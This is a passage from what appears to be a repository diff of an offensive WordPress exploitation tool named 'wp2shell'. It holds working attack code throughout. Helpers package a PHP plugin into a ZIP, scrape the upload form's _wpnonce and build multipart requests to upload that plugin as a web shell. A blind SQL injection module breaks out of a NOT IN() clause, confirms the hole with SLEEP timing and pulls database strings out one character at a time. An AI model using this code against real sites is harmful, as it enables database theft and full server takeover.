with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as archive:
|
||||||
|
archive.writestr(f"{self._slug}/{self._slug}.php", php)
|
||||||
|
return buffer.getvalue()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _nonce(html: str) -> Optional[str]:
|
||||||
|
# Take the _wpnonce belonging to the plugin-upload form, not the first nonce on the page.
|
||||||
|
form = re.search(r'action="[^"]*action=upload-plugin".*?name="_wpnonce"[^>]*value="([0-9a-f]+)"',
|
||||||
|
html, re.S)
|
||||||
|
if form:
|
||||||
|
return form.group(1)
|
||||||
|
tag = re.search(r'<input[^>]*name="_wpnonce"[^>]*value="([0-9a-f]+)"', html)
|
||||||
|
return tag.group(1) if tag else None
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _multipart(fields: Dict[str, str], files: Dict[str, Tuple[str, bytes]]) -> Tuple[bytes, str]:
|
||||||
|
boundary = "----wp2shell" + uuid.uuid4().hex
|
||||||
|
buffer = io.BytesIO()
|
||||||
|
for name, value in fields.items():
|
||||||
|
buffer.write(f"--{boundary}\r\n".encode())
|
||||||
|
buffer.write(f'Content-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode())
|
||||||
|
for name, (filename, content) in files.items():
|
||||||
|
buffer.write(f"--{boundary}\r\n".encode())
|
||||||
|
buffer.write(
|
||||||
|
f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n'.encode()
|
||||||
|
)
|
||||||
|
buffer.write(b"Content-Type: application/octet-stream\r\n\r\n" + content + b"\r\n")
|
||||||
|
buffer.write(f"--{boundary}--\r\n".encode())
|
||||||
|
return buffer.getvalue(), f"multipart/form-data; boundary={boundary}"
|
||||||
@@ -0,0 +1,74 @@
|
|||||||
|
"""Blind SQL injection oracles and a string extractor over the route-confusion sink.
|
||||||
|
|
||||||
|
The injected value lands inside the query as:
|
||||||
|
|
||||||
|
... post_author NOT IN (<value>) ...
|
||||||
|
|
||||||
|
so a value of ``0) <sql>-- -`` closes the IN() list and appends arbitrary SQL.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from typing import Callable, Optional, Tuple
|
||||||
|
|
||||||
|
from .client import BatchClient
|
||||||
|
|
||||||
|
_MIN_PRINTABLE = 32
|
||||||
|
_MAX_PRINTABLE = 126
|
||||||
|
|
||||||
|
|
||||||
|
class BlindSQLi:
|
||||||
|
def __init__(self, client: BatchClient, *, sleep: float = 3.0) -> None:
|
||||||
|
self.client = client
|
||||||
|
self.sleep = sleep
|
||||||
|
self.requests = 0
|
||||||
|
|
||||||
|
def confirm(self) -> Tuple[bool, float, float]:
|
||||||
|
"""Confirm injectability with a differential time delay.
|
||||||
|
|
||||||
|
Returns ``(confirmed, baseline_seconds, delayed_seconds)``. This reads no database
|
||||||
|
content and modifies nothing.
|
||||||
|
"""
|
||||||
|
baseline = self._elapsed("SLEEP(0)")
|
||||||
|
delayed = self._elapsed(f"SLEEP({self.sleep:g})")
|
||||||
|
confirmed = (delayed - baseline) >= (self.sleep - 1.0)
|
||||||
|
return confirmed, baseline, delayed
|
||||||
|
|
||||||
|
def extract(
|
||||||
|
self,
|
||||||
|
expression: str,
|
||||||
|
*,
|
||||||
|
max_length: int = 128,
|
||||||
|
on_char: Optional[Callable[[str], None]] = None,
|
||||||
|
) -> str:
|
||||||
|
"""Read a string-valued SQL expression one character at a time (binary search)."""
|
||||||
|
chars = []
|
||||||
|
for position in range(1, max_length + 1):
|
||||||
|
probe = f"ASCII(SUBSTRING(({expression}),{position},1))"
|
||||||
|
if not self._true(f"{probe} > 0"):
|
||||||
|
break
|
||||||
|
low, high = _MIN_PRINTABLE, _MAX_PRINTABLE
|
||||||
|
while low < high:
|
||||||
|
mid = (low + high) // 2
|
||||||
|
if self._true(f"{probe} > {mid}"):
|
||||||
|
low = mid + 1
|
||||||
|
else:
|
||||||
|
high = mid
|
||||||
|
chars.append(chr(low))
|
||||||
|
if on_char:
|
||||||
|
on_char("".join(chars))
|
||||||
|
return "".join(chars)
|
||||||
|
|
||||||
|
def integer(self, expression: str) -> int:
|
||||||
|
"""Read an integer-valued SQL expression."""
|
||||||
|
text = self.extract(expression).strip()
|
||||||
|
return int(text) if text.lstrip("-").isdigit() else 0
|
||||||
|
|
||||||
|
def _elapsed(self, sql: str) -> float:
|
||||||
|
self.requests += 1
|
||||||
|
return self.client.inject(f"0) OR {sql}-- -").elapsed
|
||||||
|
|
||||||
|
def _true(self, condition: str) -> bool:
|
||||||
|
# get_items() returns rows only when the appended boolean condition holds.
|
||||||
|
self.requests += 1
|
||||||
|
return bool(self.client.rows(self.client.inject(f"0) AND ({condition})-- -")))
|
||||||
Reference in New Issue
Block a user